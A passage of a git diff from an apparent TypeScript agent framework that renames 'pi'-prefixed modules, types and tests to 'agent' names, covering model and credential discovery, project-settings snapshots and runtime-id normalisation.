...credentials }), +vi.mock("./agent-auth-discovery-core.js", () => ({ + addEnvBackedAgentCredentials: (credentials: Record) => ({ ...credentials }), scrubLegacyStaticAuthJsonEntriesForDiscovery: vi.fn(), })); -let resolvePiCredentialsForDiscovery: typeof import("./pi-auth-discovery.js").resolvePiCredentialsForDiscovery; +let resolveAgentCredentialsForDiscovery: typeof import("./agent-auth-discovery.js").resolveAgentCredentialsForDiscovery; async function withAgentDir(run: (agentDir: string) => Promise): Promise { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-synthetic-auth-")); + const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-synthetic-auth-")); try { await run(agentDir); } finally { @@ -50,9 +49,9 @@ async function withAgentDir(run: (agentDir: string) => Promise): Promise { +describe("agent model discovery synthetic auth", () => { beforeAll(async () => { - ({ resolvePiCredentialsForDiscovery } = await import("./pi-auth-discovery.js")); + ({ resolveAgentCredentialsForDiscovery } = await import("./agent-auth-discovery.js")); }); beforeEach(() => { @@ -66,9 +65,9 @@ describe("pi model discovery synthetic auth", () => { vi.unstubAllEnvs(); }); - it("mirrors plugin-owned synthetic cli auth into pi credential discovery", async () => { + it("mirrors plugin-owned synthetic cli auth into credential discovery", async () => { await withAgentDir(async (agentDir) => { - const credentials = resolvePiCredentialsForDiscovery(agentDir, { readOnly: true }); + const credentials = resolveAgentCredentialsForDiscovery(agentDir, { readOnly: true }); expect(resolveRuntimeSyntheticAuthProviderRefs).toHaveBeenCalledTimes(1); expect(resolveRuntimeSyntheticAuthProviderRefs).toHaveBeenCalledWith(); diff --git a/src/agents/pi-model-discovery.test.ts b/src/agents/agent-model-discovery.test.ts similarity index 85% rename from src/agents/pi-model-discovery.test.ts rename to src/agents/agent-model-discovery.test.ts index 7b1c9b2ba3d..36519da7e2d 100644 --- a/src/agents/pi-model-discovery.test.ts +++ b/src/agents/agent-model-discovery.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; function writeModelsJson(agentDir: string, modelId: string): void { fs.writeFileSync( @@ -21,8 +21,8 @@ function writeModelsJson(agentDir: string, modelId: string): void { } describe("discoverModels", () => { - it("clears cached find results when the PI registry refreshes", () => { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-pi-models-")); + it("clears cached find results when the agent model registry refreshes", () => { + const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-agent-models-")); writeModelsJson(agentDir, "old-model"); const authStorage = discoverAuthStorage(agentDir, { skipCredentials: true }); const registry = discoverModels(authStorage, agentDir, { normalizeModels: false }); diff --git a/src/agents/agent-model-discovery.ts b/src/agents/agent-model-discovery.ts new file mode 100644 index 00000000000..20b7ff2d3eb --- /dev/null +++ b/src/agents/agent-model-discovery.ts @@ -0,0 +1,162 @@ +import path from "node:path"; +import type { Model } from "../llm/types.js"; +import { normalizeModelCompat } from "../plugins/provider-model-compat.js"; +import { + applyProviderResolvedTransportWithPlugin, + normalizeProviderResolvedModelWithPlugin, +} from "../plugins/provider-runtime.js"; +import { isRecord } from "../utils.js"; +import { + resolveAgentCredentialsForDiscovery, + scrubLegacyStaticAuthJsonEntriesForDiscovery, + type DiscoverAuthStorageOptions, +} from "./agent-auth-discovery.js"; +import { normalizeProviderId } from "./provider-id.js"; +import { + AuthStorage, + ModelRegistry, + type AuthStorage as AgentAuthStorage, + type ModelRegistry as AgentModelRegistry, +} from "./sessions/index.js"; + +export { AuthStorage, ModelRegistry }; + +type ProviderRuntimeModelLike = Model & { + contextTokens?: number; +}; + +type DiscoveredProviderRuntimeModelLike = Omit & { + api?: string | null; +}; + +type DiscoverModelsOptions = { + providerFilter?: string; + normalizeModels?: boolean; +}; + +export function normalizeDiscoveredAgentModel(value: T, agentDir: string): T { + if (!isRecord(value)) { + return value; + } + if ( + typeof value.id !== "string" || + typeof value.name !== "string" || + typeof value.provider !== "string" + ) { + return value; + } + const model = value as unknown as DiscoveredProviderRuntimeModelLike; + const pluginNormalized = + normalizeProviderResolvedModelWithPlugin({ + provider: model.provider, + context: { + provider: model.provider, + modelId: model.id, + model: model as unknown as ProviderRuntimeModelLike, + agentDir, + }, + }) ?? model; + const transportNormalized = + applyProviderResolvedTransportWithPlugin({ + provider: model.provider, + context: { + provider: model.provider, + modelId: model.id, + model: pluginNormalized as unknown as ProviderRuntimeModelLike, + agentDir, + }, + }) ?? pluginNormalized; + if ( + !isRecord(transportNormalized) || + typeof transportNormalized.id !== "string" || + typeof transportNormalized.name !== "string" || + typeof transportNormalized.provider !== "string" || + typeof transportNormalized.api !== "string" + ) { + return value; + } + return normalizeModelCompat(transportNormalized as Model) as T; +} + +function createOpenClawModelRegistry( + authStorage: AgentAuthStorage, + modelsJsonPath: string, + agentDir: string, + options?: DiscoverModelsOptions, +): AgentModelRegistry { + const registry = ModelRegistry.create(authStorage, modelsJsonPath); + const getAll = registry.getAll.bind(registry); + const getAvailable = registry.getAvailable.bind(registry); + const find = registry.find.bind(registry); + const refresh = registry.refresh.bind(registry); + const providerFilter = options?.providerFilter ? normalizeProviderId(options.providerFilter) : ""; + const matchesProviderFilter = (entry: Model) => + !providerFilter || normalizeProviderId(entry.provider) === providerFilter; + const shouldNormalize = options?.normalizeModels !== false; + const findCache = new Map(); + const normalizeEntry = (entry: Model) => + shouldNormalize ? normalizeDiscoveredAgentModel(entry, agentDir) : entry; + + registry.getAll = () => { + const entries = getAll().filter((entry: Model) => matchesProviderFilter(entry)); + return shouldNormalize + ? entries.map((entry: Model) => normalizeDiscoveredAgentModel(entry, agentDir)) + : entries; + }; + registry.getAvailable = () => { + const entries = getAvailable().filter((entry: Model) => matchesProviderFilter(entry)); + return shouldNormalize + ? entries.map((entry: Model) => normalizeDiscoveredAgentModel(entry, agentDir)) + : entries; + }; + registry.find = (provider: string, modelId: string) => { + const normalizedProvider = normalizeProviderId(provider); + const key = `${normalizedProvider}\0${modelId}`; + if (findCache.has(key)) { + return findCache.get(key); + } + const fallbackEntry = find(provider, modelId); + const resolved = fallbackEntry ? normalizeEntry(fallbackEntry) : undefined; + findCache.set(key, resolved); + return resolved; + }; + registry.refresh = () => { + findCache.clear(); + return refresh(); + }; + + return registry; +} + +export function discoverAuthStorage( + agentDir: string, + options?: DiscoverAuthStorageOptions, +): AgentAuthStorage { + const credentials = + options?.skipCredentials === true ? {} : resolveAgentCredentialsForDiscovery(agentDir, options); + const authPath = path.join(agentDir, "auth.json"); + if (options?.readOnly !== true) { + scrubLegacyStaticAuthJsonEntriesForDiscovery(authPath); + } + return AuthStorage.inMemory(credentials); +} + +export function discoverModels( + authStorage: AgentAuthStorage, + agentDir: string, + options?: DiscoverModelsOptions, +): AgentModelRegistry { + return createOpenClawModelRegistry( + authStorage, + path.join(agentDir, "models.json"), + agentDir, + options, + ); +} + +export { + addEnvBackedAgentCredentials, + resolveAgentCredentialsForDiscovery, + scrubLegacyStaticAuthJsonEntriesForDiscovery, + type DiscoverAuthStorageOptions, +} from "./agent-auth-discovery.js"; diff --git a/src/agents/pi-project-settings-snapshot.ts b/src/agents/agent-project-settings-snapshot.ts similarity index 69% rename from src/agents/pi-project-settings-snapshot.ts rename to src/agents/agent-project-settings-snapshot.ts index ba5ca097c91..40aee1907a7 100644 --- a/src/agents/pi-project-settings-snapshot.ts +++ b/src/agents/agent-project-settings-snapshot.ts @@ -1,5 +1,4 @@ import path from "node:path"; -import type { SettingsManager } from "@earendil-works/pi-coding-agent"; import { applyMergePatch } from "../config/merge-patch.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { readRootJsonObjectSync } from "../infra/json-files.js"; @@ -15,30 +14,31 @@ import { loadPluginMetadataSnapshot, type PluginMetadataSnapshot, } from "../plugins/plugin-metadata-snapshot.js"; -import { loadEmbeddedPiMcpConfig } from "./embedded-pi-mcp.js"; +import { loadEmbeddedAgentMcpConfig } from "./embedded-agent-mcp.js"; +import type { SettingsManager } from "./sessions/index.js"; -const log = createSubsystemLogger("embedded-pi-settings"); +const log = createSubsystemLogger("embedded-agent-settings"); -export const DEFAULT_EMBEDDED_PI_PROJECT_SETTINGS_POLICY = "sanitize"; -const SANITIZED_PROJECT_PI_KEYS = ["shellPath", "shellCommandPrefix"] as const; +export const DEFAULT_EMBEDDED_AGENT_PROJECT_SETTINGS_POLICY = "sanitize"; +const SANITIZED_PROJECT_AGENT_KEYS = ["shellPath", "shellCommandPrefix"] as const; -export type EmbeddedPiProjectSettingsPolicy = "trusted" | "sanitize" | "ignore"; +export type EmbeddedAgentProjectSettingsPolicy = "trusted" | "sanitize" | "ignore"; -export type PiSettingsSnapshot = ReturnType & { +export type AgentSettingsSnapshot = ReturnType & { mcpServers?: Record; }; -function sanitizePiSettingsSnapshot(settings: PiSettingsSnapshot): PiSettingsSnapshot { +function sanitizeAgentSettingsSnapshot(settings: AgentSettingsSnapshot): AgentSettingsSnapshot { const sanitized = { ...settings }; // Never allow plugin or workspace-local settings to override shell execution behavior. - for (const key of SANITIZED_PROJECT_PI_KEYS) { + for (const key of SANITIZED_PROJECT_AGENT_KEYS) { delete sanitized[key]; } return sanitized; } -function sanitizeProjectSettings(settings: PiSettingsSnapshot): PiSettingsSnapshot { - return sanitizePiSettingsSnapshot(settings); +function sanitizeProjectSettings(settings: AgentSettingsSnapshot): AgentSettingsSnapshot { + return sanitizeAgentSettingsSnapshot(settings); } function canReuseUnscopedCurrentPluginMetadataSnapshot(config: OpenClawConfig): boolean { @@ -64,7 +64,7 @@ function resolveUnscopedCurrentPluginMetadataSnapshot(params: { function loadBundleSettingsFile(params: { rootDir: string; relativePath: string; -}): PiSettingsSnapshot | null { +}): AgentSettingsSnapshot | null { const absolutePath = path.join(params.rootDir, params.relativePath); const result = readRootJsonObjectSync({ rootDir: params.rootDir, @@ -80,15 +80,15 @@ function loadBundleSettingsFile(params: { log.warn(`${result.error}: ${absolutePath}`); return null; } - return sanitizePiSettingsSnapshot(result.value as PiSettingsSnapshot); + return sanitizeAgentSettingsSnapshot(result.value as AgentSettingsSnapshot); } -export function loadEnabledBundlePiSettingsSnapshot(params: { +export function loadEnabledBundleAgentSettingsSnapshot(params: { cwd: string; cfg?: OpenClawConfig; env?: NodeJS.ProcessEnv; pluginMetadataSnapshot?: PluginMetadataSnapshot; -}): PiSettingsSnapshot { +}): AgentSettingsSnapshot { const workspaceDir = params.cwd.trim(); if (!workspaceDir) { return {}; @@ -129,7 +129,7 @@ export function loadEnabledBundlePiSettingsSnapshot(params: { config.plugins, metadataSnapshot.normalizePluginId, ); - let snapshot: PiSettingsSnapshot = {}; + let snapshot: AgentSettingsSnapshot = {}; for (const record of registry.plugins) { const settingsFiles = record.settingsFiles ?? []; @@ -153,42 +153,42 @@ export function loadEnabledBundlePiSettingsSnapshot(params: { if (!bundleSettings) { continue; } - snapshot = applyMergePatch(snapshot, bundleSettings) as PiSettingsSnapshot; + snapshot = applyMergePatch(snapshot, bundleSettings) as AgentSettingsSnapshot; } } - const embeddedPiMcp = loadEmbeddedPiMcpConfig({ + const embeddedAgentMcp = loadEmbeddedAgentMcpConfig({ workspaceDir, cfg: config, }); - for (const diagnostic of embeddedPiMcp.diagnostics) { + for (const diagnostic of embeddedAgentMcp.diagnostics) { log.warn(`bundle MCP skipped for ${diagnostic.pluginId}: ${diagnostic.message}`); } - if (Object.keys(embeddedPiMcp.mcpServers).length > 0) { + if (Object.keys(embeddedAgentMcp.mcpServers).length > 0) { snapshot = applyMergePatch(snapshot, { - mcpServers: embeddedPiMcp.mcpServers, - }) as PiSettingsSnapshot; + mcpServers: embeddedAgentMcp.mcpServers, + }) as AgentSettingsSnapshot; } return snapshot; } -export function resolveEmbeddedPiProjectSettingsPolicy( +export function resolveEmbeddedAgentProjectSettingsPolicy( cfg?: OpenClawConfig, -): EmbeddedPiProjectSettingsPolicy { - const raw = cfg?.agents?.defaults?.embeddedPi?.projectSettingsPolicy; +): EmbeddedAgentProjectSettingsPolicy { + const raw = cfg?.agents?.defaults?.embeddedAgent?.projectSettingsPolicy; if (raw === "trusted" || raw === "sanitize" || raw === "ignore") { return raw; } - return DEFAULT_EMBEDDED_PI_PROJECT_SETTINGS_POLICY; + return DEFAULT_EMBEDDED_AGENT_PROJECT_SETTINGS_POLICY; } -export function buildEmbeddedPiSettingsSnapshot(params: { - globalSettings: PiSettingsSnapshot; - pluginSettings?: PiSettingsSnapshot; - projectSettings: PiSettingsSnapshot; - policy: EmbeddedPiProjectSettingsPolicy; -}): PiSettingsSnapshot { +export function buildEmbeddedAgentSettingsSnapshot(params: { + globalSettings: AgentSettingsSnapshot; + pluginSettings?: AgentSettingsSnapshot; + projectSettings: AgentSettingsSnapshot; + policy: EmbeddedAgentProjectSettingsPolicy; +}): AgentSettingsSnapshot { const effectiveProjectSettings = params.policy === "ignore" ? {} @@ -197,7 +197,7 @@ export function buildEmbeddedPiSettingsSnapshot(params: { : params.projectSettings; const withPluginSettings = applyMergePatch( params.globalSettings, - sanitizePiSettingsSnapshot(params.pluginSettings ?? {}), - ) as PiSettingsSnapshot; - return applyMergePatch(withPluginSettings, effectiveProjectSettings) as PiSettingsSnapshot; + sanitizeAgentSettingsSnapshot(params.pluginSettings ?? {}), + ) as AgentSettingsSnapshot; + return applyMergePatch(withPluginSettings, effectiveProjectSettings) as AgentSettingsSnapshot; } diff --git a/src/agents/pi-project-settings.bundle.test.ts b/src/agents/agent-project-settings.bundle.test.ts similarity index 93% rename from src/agents/pi-project-settings.bundle.test.ts rename to src/agents/agent-project-settings.bundle.test.ts index 07556f2b4d9..32b04cf9da2 100644 --- a/src/agents/pi-project-settings.bundle.test.ts +++ b/src/agents/agent-project-settings.bundle.test.ts @@ -37,7 +37,7 @@ const bundleTestDeps = await vi.hoisted(async () => { ], }; }; - const loadEmbeddedPiMcpConfig = (params: { + const loadEmbeddedAgentMcpConfig = (params: { workspaceDir: string; cfg?: { mcp?: { servers?: Record } }; }) => { @@ -75,7 +75,7 @@ const bundleTestDeps = await vi.hoisted(async () => { }, }; }; - return { fsSync, loadBundleRegistry, loadEmbeddedPiMcpConfig }; + return { fsSync, loadBundleRegistry, loadEmbeddedAgentMcpConfig }; }); vi.mock("../infra/boundary-file-read.js", () => { @@ -115,11 +115,12 @@ vi.mock("../plugins/plugin-metadata-snapshot.js", () => { }; }); -vi.mock("./embedded-pi-mcp.js", () => ({ - loadEmbeddedPiMcpConfig: bundleTestDeps.loadEmbeddedPiMcpConfig, +vi.mock("./embedded-agent-mcp.js", () => ({ + loadEmbeddedAgentMcpConfig: bundleTestDeps.loadEmbeddedAgentMcpConfig, })); -const { loadEnabledBundlePiSettingsSnapshot } = await import("./pi-project-settings-snapshot.js"); +const { loadEnabledBundleAgentSettingsSnapshot } = + await import("./agent-project-settings-snapshot.js"); const tempDirs = createTrackedTempDirs(); @@ -148,7 +149,7 @@ async function createWorkspaceBundle(params: { return pluginRoot; } -describe("loadEnabledBundlePiSettingsSnapshot", () => { +describe("loadEnabledBundleAgentSettingsSnapshot", () => { it("reuses a compatible plugin metadata snapshot without loading a fresh one", async () => { const workspaceDir = await tempDirs.make("openclaw-workspace-"); const pluginRoot = await createWorkspaceBundle({ workspaceDir }); @@ -162,7 +163,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { pluginMetadataSnapshotMocks.isPluginMetadataSnapshotCompatible.mockReturnValueOnce(true); pluginMetadataSnapshotMocks.loadPluginMetadataSnapshot.mockClear(); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -187,7 +188,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { }, normalizePluginId: (id: string) => id.trim(), } as unknown as Parameters< - typeof loadEnabledBundlePiSettingsSnapshot + typeof loadEnabledBundleAgentSettingsSnapshot >[0]["pluginMetadataSnapshot"], }); @@ -208,7 +209,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { pluginMetadataSnapshotMocks.isPluginMetadataSnapshotCompatible.mockReturnValueOnce(false); pluginMetadataSnapshotMocks.loadPluginMetadataSnapshot.mockClear(); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -221,7 +222,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { manifestRegistry: { diagnostics: [], plugins: [] }, normalizePluginId: (id: string) => id.trim(), } as unknown as Parameters< - typeof loadEnabledBundlePiSettingsSnapshot + typeof loadEnabledBundleAgentSettingsSnapshot >[0]["pluginMetadataSnapshot"], }); @@ -258,7 +259,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { }); pluginMetadataSnapshotMocks.loadPluginMetadataSnapshot.mockClear(); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -285,7 +286,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { pluginMetadataSnapshotMocks.getCurrentPluginMetadataSnapshot.mockReturnValueOnce(undefined); pluginMetadataSnapshotMocks.loadPluginMetadataSnapshot.mockClear(); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -345,7 +346,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { ); pluginMetadataSnapshotMocks.loadPluginMetadataSnapshot.mockClear(); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -399,7 +400,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { "utf-8", ); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { @@ -426,7 +427,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { }, }); - const overridden = loadEnabledBundlePiSettingsSnapshot({ + const overridden = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { mcp: { @@ -465,7 +466,7 @@ describe("loadEnabledBundlePiSettingsSnapshot", () => { "utf-8", ); - const snapshot = loadEnabledBundlePiSettingsSnapshot({ + const snapshot = loadEnabledBundleAgentSettingsSnapshot({ cwd: workspaceDir, cfg: { plugins: { diff --git a/src/agents/pi-project-settings.test.ts b/src/agents/agent-project-settings.test.ts similarity index 68% rename from src/agents/pi-project-settings.test.ts rename to src/agents/agent-project-settings.test.ts index f763512249a..b81559ee607 100644 --- a/src/agents/pi-project-settings.test.ts +++ b/src/agents/agent-project-settings.test.ts @@ -3,36 +3,48 @@ import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; import { - buildEmbeddedPiSettingsSnapshot, - DEFAULT_EMBEDDED_PI_PROJECT_SETTINGS_POLICY, - resolveEmbeddedPiProjectSettingsPolicy, -} from "./pi-project-settings-snapshot.js"; -import { createPreparedEmbeddedPiSettingsManager } from "./pi-project-settings.js"; + buildEmbeddedAgentSettingsSnapshot, + DEFAULT_EMBEDDED_AGENT_PROJECT_SETTINGS_POLICY, + resolveEmbeddedAgentProjectSettingsPolicy, +} from "./agent-project-settings-snapshot.js"; +import { createPreparedEmbeddedAgentSettingsManager } from "./agent-project-settings.js"; -type EmbeddedPiSettingsArgs = Parameters[0]; +type EmbeddedAgentSettingsArgs = Parameters[0]; -describe("resolveEmbeddedPiProjectSettingsPolicy", () => { +describe("resolveEmbeddedAgentProjectSettingsPolicy", () => { it("defaults to sanitize", () => { - expect(resolveEmbeddedPiProjectSettingsPolicy()).toBe( - DEFAULT_EMBEDDED_PI_PROJECT_SETTINGS_POLICY, + expect(resolveEmbeddedAgentProjectSettingsPolicy()).toBe( + DEFAULT_EMBEDDED_AGENT_PROJECT_SETTINGS_POLICY, ); }); it("accepts trusted and ignore modes", () => { expect( - resolveEmbeddedPiProjectSettingsPolicy({ - agents: { defaults: { embeddedPi: { projectSettingsPolicy: "trusted" } } }, + resolveEmbeddedAgentProjectSettingsPolicy({ + agents: { defaults: { embeddedAgent: { projectSettingsPolicy: "trusted" } } }, }), ).toBe("trusted"); expect( - resolveEmbeddedPiProjectSettingsPolicy({ - agents: { defaults: { embeddedPi: { projectSettingsPolicy: "ignore" } } }, + resolveEmbeddedAgentProjectSettingsPolicy({ + agents: { defaults: { embeddedAgent: { projectSettingsPolicy: "ignore" } } }, + }), + ).toBe("ignore"); + }); + + it("uses embeddedAgent as the only runtime config key", () => { + expect( + resolveEmbeddedAgentProjectSettingsPolicy({ + agents: { + defaults: { + embeddedAgent: { projectSettingsPolicy: "ignore" }, + }, + }, }), ).toBe("ignore"); }); }); -describe("buildEmbeddedPiSettingsSnapshot", () => { +describe("buildEmbeddedAgentSettingsSnapshot", () => { const globalSettings = { shellPath: "/bin/zsh", compaction: { reserveTokens: 20_000, keepRecentTokens: 20_000 }, @@ -45,7 +57,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { }; it("sanitize mode strips shell path + prefix but keeps other project settings", () => { - const snapshot = buildEmbeddedPiSettingsSnapshot({ + const snapshot = buildEmbeddedAgentSettingsSnapshot({ globalSettings, pluginSettings: {}, projectSettings, @@ -58,7 +70,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { }); it("ignore mode drops all project settings", () => { - const snapshot = buildEmbeddedPiSettingsSnapshot({ + const snapshot = buildEmbeddedAgentSettingsSnapshot({ globalSettings, pluginSettings: {}, projectSettings, @@ -71,7 +83,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { }); it("trusted mode keeps project settings as-is", () => { - const snapshot = buildEmbeddedPiSettingsSnapshot({ + const snapshot = buildEmbeddedAgentSettingsSnapshot({ globalSettings, pluginSettings: {}, projectSettings, @@ -84,7 +96,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { }); it("applies sanitized plugin settings before project settings", () => { - const snapshot = buildEmbeddedPiSettingsSnapshot({ + const snapshot = buildEmbeddedAgentSettingsSnapshot({ globalSettings, pluginSettings: { shellPath: "/tmp/blocked-shell", @@ -100,8 +112,8 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { expect(snapshot.hideThinkingBlock).toBe(true); }); - it("lets project Pi settings override bundle MCP defaults", () => { - const snapshot = buildEmbeddedPiSettingsSnapshot({ + it("lets project embedded-agent settings override bundle MCP defaults", () => { + const snapshot = buildEmbeddedAgentSettingsSnapshot({ globalSettings, pluginSettings: { mcpServers: { @@ -110,7 +122,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { args: ["/plugins/probe.mjs"], }, }, - } as EmbeddedPiSettingsArgs["pluginSettings"], + } as EmbeddedAgentSettingsArgs["pluginSettings"], projectSettings: { mcpServers: { bundleProbe: { @@ -118,7 +130,7 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { args: ["/workspace/probe.ts"], }, }, - } as EmbeddedPiSettingsArgs["projectSettings"], + } as EmbeddedAgentSettingsArgs["projectSettings"], policy: "sanitize", }); @@ -131,13 +143,13 @@ describe("buildEmbeddedPiSettingsSnapshot", () => { }); }); -describe("createPreparedEmbeddedPiSettingsManager", () => { +describe("createPreparedEmbeddedAgentSettingsManager", () => { it("keeps trusted file-backed settings runtime-scoped after preparation", async () => { - const baseDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-settings-")); + const baseDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-settings-")); try { const cwd = path.join(baseDir, "workspace"); const agentDir = path.join(baseDir, "agent"); - const projectSettingsDir = path.join(cwd, ".pi"); + const projectSettingsDir = path.join(cwd, ".openclaw"); const agentSettingsPath = path.join(agentDir, "settings.json"); await fs.mkdir(projectSettingsDir, { recursive: true }); await fs.mkdir(agentDir, { recursive: true }); @@ -152,11 +164,11 @@ describe("createPreparedEmbeddedPiSettingsManager", () => { "utf8", ); - const settingsManager = createPreparedEmbeddedPiSettingsManager({ + const settingsManager = createPreparedEmbeddedAgentSettingsManager({ cwd, agentDir, cfg: { - agents: { defaults: { embeddedPi: { projectSettingsPolicy: "trusted" } } }, + agents: { defaults: { embeddedAgent: { projectSettingsPolicy: "trusted" } } }, }, }); diff --git a/src/agents/pi-project-settings.ts b/src/agents/agent-project-settings.ts similarity index 63% rename from src/agents/pi-project-settings.ts rename to src/agents/agent-project-settings.ts index 46cc1462838..1062cd0f345 100644 --- a/src/agents/pi-project-settings.ts +++ b/src/agents/agent-project-settings.ts @@ -1,22 +1,22 @@ -import { SettingsManager } from "@earendil-works/pi-coding-agent"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginMetadataSnapshot } from "../plugins/plugin-metadata-snapshot.js"; import { - buildEmbeddedPiSettingsSnapshot, - loadEnabledBundlePiSettingsSnapshot, - resolveEmbeddedPiProjectSettingsPolicy, -} from "./pi-project-settings-snapshot.js"; -import { applyPiCompactionSettingsFromConfig } from "./pi-settings.js"; + buildEmbeddedAgentSettingsSnapshot, + loadEnabledBundleAgentSettingsSnapshot, + resolveEmbeddedAgentProjectSettingsPolicy, +} from "./agent-project-settings-snapshot.js"; +import { applyAgentCompactionSettingsFromConfig } from "./agent-settings.js"; +import { SettingsManager } from "./sessions/index.js"; -function createEmbeddedPiSettingsManager(params: { +function createEmbeddedAgentSettingsManager(params: { cwd: string; agentDir: string; cfg?: OpenClawConfig; pluginMetadataSnapshot?: PluginMetadataSnapshot; }): SettingsManager { const fileSettingsManager = SettingsManager.create(params.cwd, params.agentDir); - const policy = resolveEmbeddedPiProjectSettingsPolicy(params.cfg); - const pluginSettings = loadEnabledBundlePiSettingsSnapshot({ + const policy = resolveEmbeddedAgentProjectSettingsPolicy(params.cfg); + const pluginSettings = loadEnabledBundleAgentSettingsSnapshot({ cwd: params.cwd, cfg: params.cfg, pluginMetadataSnapshot: params.pluginMetadataSnapshot, @@ -25,7 +25,7 @@ function createEmbeddedPiSettingsManager(params: { if (policy === "trusted" && !hasPluginSettings) { return fileSettingsManager; } - const settings = buildEmbeddedPiSettingsSnapshot({ + const settings = buildEmbeddedAgentSettingsSnapshot({ globalSettings: fileSettingsManager.getGlobalSettings(), pluginSettings, projectSettings: fileSettingsManager.getProjectSettings(), @@ -34,9 +34,11 @@ function createEmbeddedPiSettingsManager(params: { return SettingsManager.inMemory(settings); } -function createRuntimeEmbeddedPiSettingsManager(settingsManager: SettingsManager): SettingsManager { +function createRuntimeEmbeddedAgentSettingsManager( + settingsManager: SettingsManager, +): SettingsManager { return SettingsManager.inMemory( - buildEmbeddedPiSettingsSnapshot({ + buildEmbeddedAgentSettingsSnapshot({ globalSettings: settingsManager.getGlobalSettings(), pluginSettings: {}, projectSettings: settingsManager.getProjectSettings(), @@ -45,7 +47,7 @@ function createRuntimeEmbeddedPiSettingsManager(settingsManager: SettingsManager ); } -export function createPreparedEmbeddedPiSettingsManager(params: { +export function createPreparedEmbeddedAgentSettingsManager(params: { cwd: string; agentDir: string; cfg?: OpenClawConfig; @@ -53,15 +55,15 @@ export function createPreparedEmbeddedPiSettingsManager(params: { /** Resolved context window budget so reserve-token floor can be capped for small models. */ contextTokenBudget?: number; }): SettingsManager { - const settingsManager = createRuntimeEmbeddedPiSettingsManager( - createEmbeddedPiSettingsManager(params), + const settingsManager = createRuntimeEmbeddedAgentSettingsManager( + createEmbeddedAgentSettingsManager(params), ); - applyPiCompactionSettingsFromConfig({ + applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: params.cfg, contextTokenBudget: params.contextTokenBudget, }); - // Disable the pi-coding-agent auto-retry. OpenClaw has its own comprehensive + // Disable the session runtime auto-retry. OpenClaw has its own comprehensive // retry layer (failover rotation, auth profile rotation, empty-error retry, // thinking-level fallback) in run.ts. Having both layers active creates a // double-retry that can replay failed tool calls in an unbounded loop (#73781). diff --git a/src/agents/agent-runtime-id.ts b/src/agents/agent-runtime-id.ts new file mode 100644 index 00000000000..9109e67e147 --- /dev/null +++ b/src/agents/agent-runtime-id.ts @@ -0,0 +1,43 @@ +export type EmbeddedAgentRuntime = "openclaw" | "auto" | (string & {}); + +export const OPENCLAW_AGENT_RUNTIME_ID = "openclaw"; +export const AUTO_AGENT_RUNTIME_ID = "auto"; + +export function normalizeEmbeddedAgentRuntime(raw: string | undefined): EmbeddedAgentRuntime { + const value = raw?.trim(); + if (!value) { + return OPENCLAW_AGENT_RUNTIME_ID; + } + if (value === "openclaw" || value === "pi") { + return OPENCLAW_AGENT_RUNTIME_ID; + } + if (value === "auto") { + return AUTO_AGENT_RUNTIME_ID; + } + if (value === "codex-app-server") { + return "codex"; + } + return value; +} + +export function normalizeOptionalAgentRuntimeId(raw: unknown): EmbeddedAgentRuntime | undefined { + if (typeof raw !== "string") { + return undefined; + } + const value = raw.trim().toLowerCase(); + return value ? normalizeEmbeddedAgentRuntime(value) : undefined; +} + +/** + * @deprecated Whole-agent runtime environment selection is retired. Use + * provider/model runtime policy or a registered agent harness instead. + */ +export function resolveEmbeddedAgentRuntime( + _env: NodeJS.ProcessEnv = process.env, +): EmbeddedAgentRuntime { + return OPENCLAW_AGENT_RUNTIME_ID; +} + +export function isDefaultAgentRuntimeId(runtime: string | undefined): boolean { + return runtime === undefined || runtime === AUTO_AGENT_RUNTIME_ID || runtime === "default"; +} diff --git a/src/agents/agent-scope-config.ts b/src/agents/agent-scope-config.ts index 912e07c0d67..d8c9863a99b 100644 --- a/src/agents/agent-scope-config.ts +++ b/src/agents/agent-scope-config.ts @@ 